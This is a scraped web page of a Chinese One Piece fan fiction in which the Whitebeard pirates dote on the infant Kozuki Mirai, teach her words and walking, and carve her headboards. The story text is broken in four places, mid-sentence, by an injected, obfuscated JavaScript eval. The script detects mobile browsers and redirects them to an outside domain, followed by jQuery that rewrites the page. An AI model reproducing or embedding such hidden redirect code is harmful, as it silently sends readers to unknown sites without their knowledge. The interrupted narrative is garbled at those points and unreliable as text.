.Cat viper（猫蝮蛇）、Yizang（以藏）and Inu Arashi（犬岚）.” 最后，光月未来画了一弯长长的白胡子，她停下笔，扭头看他。 8. 爸爸和叔叔 “我？”纽盖特摇摇头。 “Edward Newgate。老实说，我还没想好应该让你叫什么。” 远处的森林里传来野兽吼叫乱跑的声音，草地和树木仿佛被切开了一条线，光月御田拿着木刀，身后拖着一堆猎物回来了。他刚刚跃上甲板，就高举起那把小木刀呼喊光月未来：“未来！爸爸带着礼物回来喽！” 光月未来扒着纽盖特的肩膀，闻声往船舷那边看过去。 “去找爸爸吧，小家伙。” 纽盖特托着未来把她放到地上，这时，一颗毛茸茸的小脑袋，顺势在那张大手掌心蹭了蹭——一个午饭时欠下的抚摸。光月未来察觉到了。 感觉到手上传来的触感，纽盖特甚至僵硬了一瞬。 “啊。”光月未来冲他挥了挥手，拖着天羽羽斩向光月御田爬去。 纽盖特目光温和，虚握了握那只手，在她身后合上书，心情愉悦：“咕啦啦啦，回头见，小家伙。” “未来！快过来看看我给你削的木刀。” 光月御田举起女儿转了一圈，展示她之后的武器，以及刀柄上刻着的名字。 “我找了山上最好的一棵树，看到这个名字了吗，这是你——未来，光月未来。” “爸爸。” 光月御田抱胸点头：“没错，我是你的爸爸，光月御田……等等！” 他反应过来，身体前倾，眼珠因为惊讶瞪大了一倍，狐疑：“你叫我什么？未来。” 这人握住孩子的胳膊催促：“你再说一遍，未来！” “你刚刚叫我，爸爸……” “呜呜呜太好了是爸爸。” 猫蝮蛇和犬岚附和着抹眼泪：“是啊是啊御田大人，未来大人在叫爸爸。” 场面乱糟糟的，光月未来愣愣地看着他们，她不明白事情为什么会变成这样。 光月时咳了一声提醒：“反应太大了，各位。” “可是啊，时大人……” “未来，”光月时抱起光月未来，解释，“爸爸不是在犯傻，他只是太高兴了。” “现在，来，叫妈妈。” “妈妈。” 光月未来伸手指向独自一人呆在甲板旁边的纽盖特，他正收了书，但看样子不打算过来凑热闹。 “啊。” 空气仿佛被按下暂停键，压抑住蠢蠢欲动的海贼们。 “这……”所有人都在看纽盖特的脸色。 在光月未来看来，任何人都应该有一个称呼。就像当初给他们水和食物的年轻夫妇，继国缘一称呼他们为：炭吉和朱弥子。放到她这里，应该称呼为：叔叔和婶婶。 那么，她应该称呼爱德华·纽盖特为什么呢？光月未来曾经向纽盖特征求过意见，可惜的是，没有得到回应。 她不能直接称呼纽盖特的名字，因为那是长辈，这是礼节问题。 继国缘一告诉过她：“如果遇到不确定的事，可以向爸爸征求意见。” 爸爸。光月未来去找她现在的爸爸——爸爸正沉浸在幸福之中痛哭流涕无法自拔。 “……” 或许她是时候该学会自己处理问题了。 “Old father.”光月未来说。 这是从马尔科对纽盖特的称呼中截取到的，一个被说出口时绝对尊敬的称呼，既然大家都能叫，光月未来下意识认为，她也能叫。 ……空气好像压抑得更窒息了。 对于白胡子海贼团来说，“老爹”不是一个可以随便叫出口的称呼，如果纽盖特应了这个称呼，就意味着光月未来必须加入白胡子。 这算是船上比较严苛的规矩之一，不是一个孩子能弄明白的事情，毕竟就连她的父亲光月御田，现在都不算是正式加入白胡子。 幼稚懵懂时期贸然做出的决定，未来她是否会后悔喊出这个称呼？谁都不知道。 纽盖特有自己的考量，那双金色的眼睛直视过来，里面承载着的是对孩子特有的，含着温情的无奈和纵容的。 “你可以叫我叔叔，”他瞥了一眼旁边故意假装看不见的光月御田，“御田这家伙才是你的爸爸。” “小白吉。”光月御田插嘴，“我不会干涉未来的自由，如果她想加入白胡子，我……” “御田。”纽盖特打断他，看得出来他已经因为光月御田不合时宜的任性有点生气了，“不要把人生选择权交给一个什么都不懂的孩子，这是不负责任的表现。” “我……”光月御田有点尴尬地抓了抓头发，在妻子和家臣们的注视下，他看向女儿，“我很抱歉，未来。” 自从光月未来对着白胡子喊出“叔叔”这个称呼后，船上的海贼们就像突然之间统一了口径，全部开始自称为哥哥，不管是年龄大的，还是年龄小的。 “下一个该我了吧，未来！叫我一声哥哥嘛。” “佛萨，你确定要这样吗yoi？” “当然了！不是我难道还能是你……嗯，马尔科？” 一只手落在他的肩膀上，颇为客气地拍了拍。 虽然马尔科这小子确实在某些方面表现出了惊人的天赋，比如战斗，再比如医疗，但是身为老人，他本来是不应该怕一个实习船员的。不如说，绝不！ 但是、但是，佛萨捂紧口袋，他今天中午刚刚和大家伙一起对马尔科做了很不道德的事情，他们在近海滩挖了一堆海草，全部塞进了马尔科澡位的排水孔里。 “对！我就要这样！我这样没有问题！”挺胸、仰头、双手抱胸，佛萨干咬着没点火的雪茄烟从上到下俯视马尔科——没错！他比较高。 “哦、哦。”周围的海贼们暗暗帮他打气：硬气一点，再硬气一点，就是这样伙计。最近实习船员实在是太猖狂了，必须好好灭一灭他的气焰。 “未来。”马尔科递给光月未来那只重新消过毒的奶嘴，“我在房间地毯上发现了这个，是租借书的押金吗yoi？” 光月未来点点头，接过奶嘴，把白胡子刚刚递给她的书还给马尔科。 “呦西！这样就钱货两讫了yoi。” “稍微等一会yoi，哥哥马上回来。” “！” 这个语气听着十分不对劲，佛萨瞪眼，把故意高高扬起的头颅扬得更高了一点。 果然，马尔科说：“走吧，佛萨，去那边。” “哦！哦！！” 海贼们意识到，一场约架在所难免了。 可是有什么关系呢？对于大多数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583400|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间都处于漫长无聊生活中的海贼们来说，战斗和冒险，是如此新鲜短暂，却实在足够刺激的娱乐活动。 大家默契地不再提光月未来应该先叫谁哥哥的问题，而是—— “马尔科，小心佛萨的刀，那可是能劈进你的脑子里的东西。” “哈哈，佛萨，别掉以轻心，我们小见习船员的爪子还是很厉害的。” ——嘭！ 一簇青蓝色的羽火在远处海滩上空膨胀开来，不死鸟俯冲，足爪落在佛萨烧着的刀刃上，倒映绵延出无数璀璨如垂坠流星般的乱羽。 两个交战在一起的身影迅速交织又擦开，掀起船上海贼们势如潮水的应和叫好声。 直到红和青两种颜色像吐蘑菇云那样借着地势一股高过一股，海风倏忽耸动，海浪内推簇拥起沉睡在岸边的莫比迪克号，把它刮得向上倾斜。 “喂喂！注意分寸，掀起来的海浪太大了！”位于甲板最边缘的海贼们猝不及防，被迫喝了一大口海水。 纽盖特往两个儿子切磋的位置看了一眼，冲着战斗余波卷来的方向挥出丛云切。 只是随随便便的一刀，却把两个战斗正酣的人轻松分开，衣衫残破的马尔科从爆炸的中心位置朝着船飞过来，爪子攀附在纽盖特的丛云切上，用翅膀拱了拱被划伤的右脸。 “哼。”他得意地冲光月未来咧开嘴笑，好像在说：看呐未来，哥哥很厉害吧。 佛萨因为没有翅膀，所以爬得很费劲，但这并不妨碍他顶着同样乱糟糟的衣服，冲光月未来竖起大拇指：“看呐未来！哥哥很厉害吧！” “那是我的台词yoi！” “你又没赢！” “我也没输yoi！” “不得了，真是不得了了马尔科，这样下去，恐怕会提前转正成正式船员吧？” “你的身手退步了佛萨，竟然和见习船员打成平手。” “闭嘴！你们又不是不知道，这小子的恶魔果实到底有多逆天。” “好了好了，赶紧给我下去。”纽盖特嫌弃道，上下甩动起丛云切，力气之大让攀附在那上面的马尔科一点也站不稳，一蹦一跳落到甲板上。 “呜哇！轻点、轻点，老爹，我现在还是个病患yoi。” 而在光月未来眼里，所有的一切，海贼们的调侃、马尔科的嘟哝，以及一阵阵海浪拍打船体的声音，全部都像萤火虫那样消失不见了。 她直勾勾盯着马尔科和佛萨刚才战斗的位置，那里还残留着一点没有燃烧殆尽的青蓝火焰。 像什么呢？像烟花。就连声音也很像，继国缘一带她听过的，曾在冬日的严寒中缓缓流淌。 那是开在天上的花。 “你在看什么，未来大人？” 有着女性装扮的年轻男性轻轻弯下腰，注视着光月未来的眼睛耐心解释：“这是海贼表示友好的方式之一，未来大人以后会经常见到。” “顺便一提，属下名为以藏，是侍奉御田大人的武士之一，很期待您能呼唤我的名字。” 光月未来应和：“以藏。” 喀嚓一声，那似乎是刀出鞘和子弹上膛的声音，还伴随着一声悲伤的“喵！” 以藏抽出手枪，微笑回应：“是，我很荣幸。” 9. 走向大海的开始 纽盖特是个优秀的学前班老师，光月未来已经能从以藏的话里听懂几个词：“经常”，“友好”，背景是“打架”。 合起来就是：经常打架代表友好。 奇怪的关系。 “你说你想跟我打架yoi？” 光月未来背上绕过肩膀和胸口的位置系了一条小布带，上面像模像样地绑着她的木刀。 她努力直起身子，扯住马尔科的裤子，板着脸严肃点头重复：“打架，好。” “不不不，打架一点也不好yoi。你这些都是从哪学来的？” 马尔科拍了拍手上的木屑，拉过毯子盘腿坐下，一脸无奈地看向一边挺起胸脯，目光灼灼坚持要跟他打一架的光月未来。 他抓了抓头发，尝试着解读这句话代表的深层含义：“好吧，未来，我们先从起点开始梳理，你为什么想要跟我打架？” 光月未来听懂了“为什么”和“打架”这两个词。 因为这代表着关系好，我想跟你有好的关系。 但是她还没有学到“关系”这个词。 只说“好”的话，马尔科一定不会理解的，于是光月未来拿起笔，在纸上画了两个小人儿，一个很高，长着菠萝一样的头发，另一个是圆圆的一小团，背着刀，他们彼此手牵着手，嘴角扬起，在笑。 “马尔科。”光月未来举起那张纸给他看。 “让我看看yoi~，哦，你画的是我和你啊。” 光月未来点点头，在两个小人儿头顶写上单词：“fight”，她指指单词，又点点小人儿握在一起的手。 “马尔科，对。” “扑哧！”马尔科看懂了，他竟然开始笑，而且是捧腹大笑，笑声穿透船舱扎进大海里，引得外面整理物资的海贼们频频伸长脖子往这边张望。 “又遇到什么开心的事了，马尔科那家伙。” 光月未来还以为自己把单词拼错了，拿下来又认真检查了一遍，一只手把那张纸从她手里抽走。 “你没有拼错‘fight’这个单词，未来。” “马尔科，为什么，la……”后面的不记得了，光月未来按住两边嘴角往上扬。 “是‘laugh’，笑，yoi~” 马尔科一只胳膊向后撑着地面，一只手夹着那张纸，空出怀里很大一块位置，这个动作让他的怀抱里看起来很舒服，如果还有轻轻软软的，像烟花一样的东西就更好了。 光月未来爬进去，蹭了蹭。 “Fly。” 飞。 “听着，未来，我不知道你是从哪里听到的这种结论，但是，打架永远是一个坏的单词yoi。” 他的语气稍微认真了一点，如光月未来所愿展开半边翅膀圈住她，开始不自觉地教给初来乍到的孩子一点，他认为的道理。 “通常，我们会为了保护家人去战斗，嗯，打架。但是，在这艘船上的所有人，他们手里的武器绝对不会对准自己的家人。” “我这么说你能听明白吗yoi？” 光月未来听不明白。 马尔科说了好长一段话，说得连他自己都快震惊了，但是落在光月未来耳朵里，只有—— 叽里呱啦打架，坏。劈里啪啦保护，家人。 ——打架是坏孩子会干的事情，保护家人是好孩子。 也就是说，昨天晚上打架的马尔科和佛萨，他们全部都是坏孩子！ 光月未来有点怀疑人生，她陷在马尔科暖呼呼的火焰羽毛里，坚持用木刀去戳他的脸。 “当然，我们都相信你总有一天会长大到能跟我们一教高下的程度，但不是现在yoi。” 马尔科半张脸被她戳得凹进去一块，微微侧开头避免她戳进去更多，语气因为被“控制”住变得含糊不清。 “先放开哥哥好不好，未来？哥哥正在忙着给你刻不死鸟床靠yoi。” 光月未来没松开。 “不能啊……那，一会给你看活的不死鸟好不好yoi？你不喜欢不死鸟吗？” “有，漂亮的，大鸟。” 没想到光月未来拍了拍他的肩膀，用正经严肃的语气劝告他：“马尔科，不要，打架。坏。” 她举起手里的木刀，好像要阻止他：“坏！” 而且这一个字用的是强调的语气。 ……根本就没有明白。 马尔科举起他的一只人形手发誓：“马尔科，好，不打架。” “未来，乖孩子，yoi~接下来学习更多的字好不好？” 当然，最后的架还是没有打成。 但光月未来学到了新的知识，那就是：打架是不对的。 以藏说的不对。 继国缘一说过，如果亲近的人犯了错，那就要想办法帮他改正错误，这是很严重的事情，即使是爸爸也一样。 于是，从马尔科的育儿室出来后，光月未来直接去找了以藏。 “谁？啊，未来大人。” 以藏把她抱起来：“你来找我有什么事吗？未来大人。” 光月未来要告诉他：“以藏，打架，不对。” “是是，”以藏马上附和，“打架是不对的。” “以藏，好。” “我很高兴，能从未来大人口中得到这样的评价。” “这简直就是殊荣。” 就在以藏抱着光月未来给她讲他的航海笔记的时候，暗中观察着的海贼们终于也完成了一件大事。 不如说，产生了大矛盾。 乔兹把他雕刻着太阳和新月，以及花了小心思的床靠放到育儿室里，比斯塔正好也在安置他的。 他刻了满板的蔷薇，旁边学习乔兹增添了一个举着两把细剑的小人。 比斯塔从来不是个会小心翼翼隐藏情绪的人，所以那个小人特征明显，一看就知道是谁——是他。 “我的刀工怎么样？乔兹。” “眼睛刻得太大了。” “谢谢，我本来就长这样。” “下午好，两位，有没有兴趣看看我的流星锤？”拉克约拄着他的床靠，那上面刻着一对相当夸张抽象的锤子。 “我想未来不会喜欢这个。” “你说什么？哦，你是在说你的青蛙对吧，未来确实不会喜欢这个。” “你以为你的汉堡就刻的很好吗？” “都别吵了yoi！我要的衣柜和书桌呢？” “那种事情你可以自己搞定，马尔科。” “我做了一个！不过是披萨风格的。” “很好，精妙的创意，以后未来可以直接看着这张桌子吃饭了。” 虽然说是育儿室，但是考虑到实际需求，整个房间被大家布置的更像是一个正常的房间，除了家具都是手打的，而且非常有创意，以及所有的尖锐面都被特意磨平了。 所以整个房间看上去很圆润，充斥着大家从整个扇贝岛上买来的娃娃们。 “你会喜欢这些的，虽然我们更想送给你一点更实用的礼物，比如说武器和藏宝图哈哈。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583401|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“现在，来挑选你的床靠吧，你想要哪一块？” 育儿室里的床只有一张，所以床靠也理所当然只需要一块。 不死鸟的，流星锤的，蔷薇花的，月亮和太阳，猫咪肉球，以及狗狗骨头…… 当然还有最重要的一点—— 光月家的武士们扛着一块已经描绘好神鸟八咫乌的木板进来，放到光月御田面前。 “我们几个都认为，这一块应该由您亲自雕刻，御田大人。” “哦！”光月御田皱眉，“可是这样一来，大家的努力不就都没有意义了吗？” 光月时提醒他：“御田大人，未来不会只选择一块的。” 在一群兴致勃勃的海贼们的围观下，光月未来展开双臂画了一个圆。 “全部。”她说。 “这样就对了，未来，没有人规定房间里的床只能有一张。”光月御田恍然，“也可以有五十多张！” “好吧，好吧，小家伙，这确实是最好的解决方案。我是说，看样子不需要我们再打一架了哈哈哈。” “我有一个提议。”比斯塔建议，“我们可以把自己也刻上去，然后签名。” “当然，这一点我已经做完了。” 乔兹不爽地瞥他：“那是我的创意，而且，之前可没说要有名字。” “可是未来可以看着我们的签名再认一遍人，兄弟。我个人觉得这是个非常不错的建议。” “意味着你的小人儿可以从边上挪过来了。” 这话让海贼们起了兴致，跃跃欲试。 “好主意！我会在我那一块上留下我流畅的刀痕。” “我不太想给你泼冷水，但你是拿枪的，哥们。” “那就留下流畅的弹痕！” 大家开始商量要在哪里刻上自己的名字，光月御田抽出天羽羽斩和阎魔，亲自雕刻出光月家的家纹，但他们显然忘记了，从物理角度来说，一个房间真的无法放下五十多张床。 最后大家的床靠成了包墙的板子。 “你也刻一个吧，老爹。” 大家怂恿纽盖特：“小孩子长得很快，只送羊毛衫的话可是不够的。” “咕啦啦啦，给我一块板子。” 乔兹数了数：“这些床靠包墙刚好够，没有位置了，老爹。” “……”纽盖特看了一圈儿子们的作品，似乎把哪块丢出去都不太合适。 “那就刻在这里好了。” 最后，他选择了床板的位置。 ——Edward Newgate。 “而你的名字应该写在这里，小家伙。” 他从光月时怀里接过光月未来，把她放到床靠那里，光月家的八咫乌下，已经刻上了两个名字，光月御田和光月时。 光月御田递过来一把匕首：“未来，这次允许你用真的刀，但是必须让爸爸握着你的手。” 光月未来。 这个名字安静呆在在父母手边，白胡子海贼团五十多位海贼怀里，以及爱德华·纽盖特的掌心。 简直就像摇篮一样。 而在那之后，莫比迪克号终于驶离了扇贝岛，在以特隆埃国王为首的岛民们的欢送下，船锚收起，白帆鼓胀，一条白鲸破开大海，在海贼们的欢呼和《宾克斯的美酒》歌曲旋律声中，正式扬帆启航。 光月御田让光月未来坐在他的肩膀上，指着远处闪烁着细小波光的海面，有海王类和白鸥的影子在那里飞跃。 “这将是你真正走向大海的开始，未来！” 10. 大人是可以不吃不喝不睡的神奇生物 “就是这样，慢点，再慢点——好了你不要乱动，马尔科！” “对，真厉害，过来抱抱小熊啵啵~啵啵~好吧，那边的猫咪和狗也行。” “你撅嘴夹嗓子的样子可真恶心。好了，未来，现在应该迈右脚。” 莫比迪克号的育儿室里，今天没有值班任务的海贼们点燃了星星灯，在暖黄色带着果香气息的亮光中，光月未来松开马尔科扶住她的手，踉踉跄跄在地毯上走了几步，跌进猫蝮蛇柔软的肚皮绒毛里。 “喵喵喵，做的真好，未来大人，比上次多走了整整四步呢。” 今天是莫比迪克号离开扇贝岛的第六天，船即将进入格里芬兰顿海域，摩罗拉大寒流从这里发源，扫荡过周围冷冻蛋一样的岛群，和海域外刮来的疾风猛烈相撞。 中心冻海，往外环绕一圈暖流，最外围依旧是风雪肆虐的海域——世界政府将这样奇特的景观命名为环状冻心，或者也可以用海贼们的说法，冰心鸡蛋。 虽然这里不产蛋。 外面没有下雨，很干，海浪也不算猛烈，船下的水冲不上甲板，只有风在吹的话，意味着现在还不到给船除冰的时候。 光月未来的出生给这艘船带来了新的娱乐活动，比起勾肩搭背一起去餐厅喝酒，他们当然更乐意窝在育儿室里教光月未来走路。 毕竟没有什么事，是比亲手养大一个生命更有成就感的了。 “怎么样未来，还能站起来吗？” 光月未来身上穿着纽盖特送给她的羊毛衫和羊毛裤，趴在猫蝮蛇毛绒绒暖呼呼的皮毛里歇了一会。 已经很累了，但光月未来想她已经爱上了“走路”这个动作，这种能自由掌控身体的活动，简直就和挥刀一样让人欲罢不能。 “马尔科。”光月未来冲马尔科伸出手，“再来一次。” “哈哈哈，竟然还没有疲倦。” “小孩子真是有活力。” “今天已经练习了两个小时了yoi，”马尔科坐下，不赞同地摇摇头，把她今天上午做过的活动掰给她听，“你今天跟着老爹认了两个小时的字，还读了以藏的航海笔记，看了海王类图本。从七点起床开始算起，一个上午就只有这五个小时yoi。” “所以你现在可以歇一会。” “今天早上，”光月未来试着反驳，“比斯塔练了剑，六个小时。” 所以她为什么不可以，她也可以，她都做好明天六点起床的准备了。 “哈哈哈！”恰好这会儿，被点到名字的比斯塔推门进来，听到光月未来为了继续练习走路拿他举例子，抱胸笑道：“你说得没错，未来，但我们是大人。大人是可以一整天都不吃不喝不睡只挥剑的生物，小孩子就不一样了，你需要睡眠和进食。” 这话有点扯，但是海贼们就喜欢这种扯，就好像——大人就是这种神奇夸大的生物，这听上去很有趣，对于逗孩子来说。 他们附和：“没错没错，因为我们是大人！” 但这也太扯了，简直就跟马尔科刚上船那会儿，这帮家伙逗弄他时说的话一模一样。 不同的是，马尔科那时候已经有了自己的判断力，偶尔还能回踩一脚。 但是光月未来不一样。 大家突然不笑了。 光月未来正一眨不眨地盯着他们，视线从所有人脸上扫过，最后又定回到比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583402|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯塔脸上，眼睛里泛起一点类似于惊叹的光。 ……呃、嗯，比斯塔突然有点想要逃跑的冲动。 话说萨奇的派应该烤好了，身为船上珍稀的稳重热心群体之一，他现在应该在餐厅里帮忙才对。 好的，那就这么做吧。 比斯塔扣紧两个剑扣就要开溜。 光月未来说：“真厉害，大人。” 她信了，她真的相信了，所谓大人是可以不吃不喝只挥剑的生物…… 这么扯的话…… 好吧他们不应该随便逗孩子。 可是—— “喂，佛萨，我们明天不会真的要六点起来挥剑吧？” “我想你应该明白‘不吃不喝’的含义，哦，还有不睡，所以我们应该整晚挥剑。” 犹豫挣扎：“……能不能不干？” “任由形象在孩子眼里倒塌掉是很掉价的行为，你想让未来之后鄙视你吗蠢货！？” “都怪比斯塔！” “他才是最该熬夜挥剑的那个！” “比斯塔呢？比斯——” 比斯塔已经从前门溜走了。 “站住！你这个罪魁祸首！” 海贼们乌泱泱从育儿室门缝里挤出去，满甲板追杀比斯塔，不小心泄露进来的一点天光里，隐隐约约有了风雪的影子。 “扑哧~”马尔科撤回护住光月未来的半边翅膀，伏在地上捶地大笑。 光月未来：“他们，挥剑，练习？” “对，对，未来，他们出去练习挥剑了yoi。明天饭点的时候，我们一起去看比斯塔挥剑吧。” “一定很下饭yoi！” 11.正确的认知 “喂，我说，你们两个。” “我说……” “你们一定要在这里吃饭吗？！” 咔嚓——“嘎吱嘎吱嘎吱。”——“呸。” 马尔科拿了一只菠萝，连皮带肉咬一口，大口咀嚼，吐出不小心咬进去的叶子。 光月未来跟着他学，舀一勺萨奇特供米粉糊糊塞进嘴巴里，努力咀嚼，然后吐、吐，想到继国缘一曾经教给她的礼节：不可以随便乱吐东西。光月未来犹豫了一会，咽了下去。 “怎么不练了yoi？（嚼嚼嚼）刚刚不是挥的很好吗，连苍蝇都砍断了yoi~呼——” 马尔科吹出一口气，把那只被比斯塔从两只眼睛中间削断的苍蝇吹开，扭头看光月未来。 “未来，（嚼嚼嚼）米粉糊糊好吃吗yoi？” 光月未来点点头，挖出一勺喂给马尔科：“啊。” 马尔科：“啊——” 砰！ 舀着米粉糊糊的勺子和马尔科伸长的脖子和张大的嘴巴即将碰到一起的瞬间，在餐厅里精准瞄到这一切的萨奇抄起一只拉克约盘子里的大棒骨，照着不死鸟的菠萝脑袋狠狠给了他一下。 “请你好好吃自己的饭，马尔科！” “哦，谢了，萨奇。” 那只大棒骨砸到马尔科头上，又弹回天空1080°旋转，最后落到比斯塔手里。 但很可惜，那是被咬过的，上面还印着拉克约的牙印。 “……” 比斯塔看了看，想了想，拎着骨头把它扔进了马尔科吃剩下的盘子里。 “那么好吧，”比斯塔坐下，把两把西洋剑放在大腿两边，敲着地板问马尔科，“所以我的午饭呢？” “不知道yoi。” 马尔科揉着他被大棒骨砸出包的脑袋，光月未来也放下碗和勺子，顺着他屈起的胳膊爬上去帮他揉。 “我们只是在看神奇的可以不吃不喝不睡的大人挥剑yoi。对不对未来？” 光月未来点头：“神奇的。” 马尔科故意强调：“可以不吃不喝不睡的yoi~” 光月未来继续点头：“厉害的。” 两双眼睛一起看向比斯塔，那眼神似乎在疑问你怎么还在休息。不一样的是，一个是幸灾乐祸，另一个看上去是真的很想问。 关于孩子天真的，充满信赖和崇拜的眼神。 ——简直是要海贼老命了。 比斯塔这时候才后知后觉反应过来，为什么育儿手册上会特地标注出“不要随便骗孩子”这句话，虽然他也只是在乔兹翻看时“不小心”瞄了一眼。 “喂，马尔科。” 但比斯塔一向是个聪明人（自封的），所以他不打算跟马尔科吵。 他拿走马尔科的菠萝，好好削了皮切了块，提走光月未来，一胳膊肘勾过马尔科的脖子。 “说说你的打算吧，马尔科，大中午的还带着未来在甲板上吃饭——虽然是背风的。只是为了看我出糗，得了吧，虽然这确实是你能干出来的事，但我想你可以不用这么无聊。” “你到底想干点什么？” “当然是为了看你挥剑……唔唔唔！” 比斯塔塞了半个切好的菠萝给他堵嘴，用的马尔科自己的筷子。 他说：“也许我能帮上忙呢。” “不用了比斯塔。”马尔科抬手拨开比斯塔搭在他肩膀上的胳膊，轻松道，“虽然我确实有带未来去环状冻心看极光雪的想法，毕竟那可是这片海域少有的美景yoi。” “但是未来现在还不能承受寒风吧，她……”比斯塔突然明白了点什么。 “圈带暖流。”马尔科露出牙齿笑，一副早有打算的样子，“如果能在船经过暖流的这段时间里锻炼出未来抵抗风雪的能力的话，到时候就算是时夫人也不会说什么的yoi。” 马尔科往后仰，侧头看向趴在比斯塔肩膀上的光月未来：“未来，你也很想看那种美景吧yoi！” 光月未来点头，大声：“雪，和烟花。” “对对，还有烟花yoi，路过下个岛的时候，哥哥就给你买最好的烟花。” 光月未来知道“买”这个单词代表的意思，但是，烟花，为什么要买烟花？ 她认为自己有必要提醒马尔科：“烟花，不死鸟。漂亮的，大鸟。” 马尔科：“对对，到时候未来可以坐在哥哥的背上，让哥哥驮着你飞yoi。” 听到有不死鸟，光月未来松了一口气，顺着比斯塔的胳膊爬下去，继续捧着刻着她名字的专属小碗吃米粉糊糊。 每吃一口就往餐厅的方向看一眼，因为萨奇有特地交代过露天午饭要在半个小时内吃完。 比斯塔稍微放低手臂，好方便光月未来往下爬：“我还是搞不懂，去看极光雪和阻止我吃午饭有什么关系。” “因为你是不吃不喝不睡一天24小时都在挥剑的大人呀yoi。” “饶了我吧马尔科，”比斯塔叹了口气，求饶，顺便替自己辩解，“那只是逗小孩的说法，我没想过她会当真。” “你喜欢未来吗？比斯塔。” 比斯塔捋了把他的马尾，没说好也没说不好：“啊。” “如果你喜欢，我希望你以后不要再用这种话来逗她。” 马尔科说，比斯塔硬是从这句话里听出了点严肃的警告意味，于是他也正经了一点，把搭在腿上的胳膊放下去。 “未来现在正是认识这个世界的重要阶段，就像刚破壳就看到人类的小鸡仔，只会跟着别人告诉她的指示走。但是因为她信任我们，所以完全没有怀疑过你的话yoi。” “如果实在想逗孩子，就等未来再长大一点，对这个世界有了足够的自我认知之后吧yoi，不然可是会犯下大错的。我希望她在这艘船上得到的，都是正确的建议。” 马尔科吹了吹一枚飘下来的海鸥羽毛，白色的小东西随着气流在他的鼻尖上空蹦蹦跳跳。 “哦、哦。”比斯塔听完有些愣神。 这还是那个马尔科吗？那个比他还要小上两岁的马尔科？十六岁的马尔科？！ “真是不得了啊，成为哥哥以后。” 但是，高级海贼敢作敢当，他比斯塔也不差，对吧？ 比斯塔跟上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594629|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“马尔科，让我给未来道个歉，顺便把高处甲板上现在还在假装挥剑的笨蛋们拖回来，怎样。” “我们都听到了！！”甲板拐角的位置乱七八糟叠出来好几个脑袋，无论是用枪的，还是用锤子或者飞刀的，全部从仓库里刨出来一把刀或剑，现在那些武器都劈里啪啦掉在了地上。 “说好了对吧！是说好了对吧！所以我们可以吃饭了吗？” 它们不负责任的半路出家临时主人抛下它们冲进了餐厅，在萨奇还没反应过来之前闹哄哄抢走吧台上的餐盘。 “所以说，比斯塔，下次不要再拿那种话去逗孩子了。”佛萨刚刚吞下一整只带骨肉，正在扒盘子周围作为装饰的生菜和小番茄。 “我早就说过这样不好，会带坏孩子。” 周围的海贼们对着他竖起向下的大拇指，嘴里发出“切~~”的声音。 “怎样！你们是有什么意见吗？！” 海贼们斜着眼啃肉：“哦~~” “是假的？” “对，其实大人没有我说得那么了不起，很抱歉给你灌输了错误的认知，未来。” 比斯塔变戏法一样拿出一朵冰花：“用甲板上新结出来的冰块雕刻成的，送给你。能原谅我吗？” 她就说嘛。 光月未来松了一口气，同时又不可避免地有点失望。 她还以为不吃不喝不睡是这里大人们的特异功能，在餐厅吃饭只是因为喜欢而已。说不准自己长大之后也能拥有这种能力呢。 可以一直练剑什么的。 “世界上不会有这种好事。” 光月未来接过那朵冰花，闷闷地把下巴搁在马尔科肩膀上。 比斯塔有点摸不着头脑：“这是什么意思？” 光月未来突然又支楞起来，把她的加餐——下午三点钟的羊奶，拧开奶瓶盖子倒给比斯塔一半。 “喝。”光月未来把碗推到比斯塔那边的吧台上。 比斯塔正在嚼最后一块从马尔科那边顺过来的菠萝，虽然他确实没有赶上饭点，后厨准备好的午饭也全部被抢干净了，但是—— “我还不需要和你抢饭吃，大人就算饿一顿也完全没有关系——这句真的是实话。” “可是会饿。”光月未来坚持，“大人不是，神奇生物。” 不吃饭，真的会很饿。光月未来摸了摸比斯塔的肚子，对方僵硬了一下。她很确定，那里确实瘪下去了一块。 “喝。” 光月未来又把碗往那边推了推。 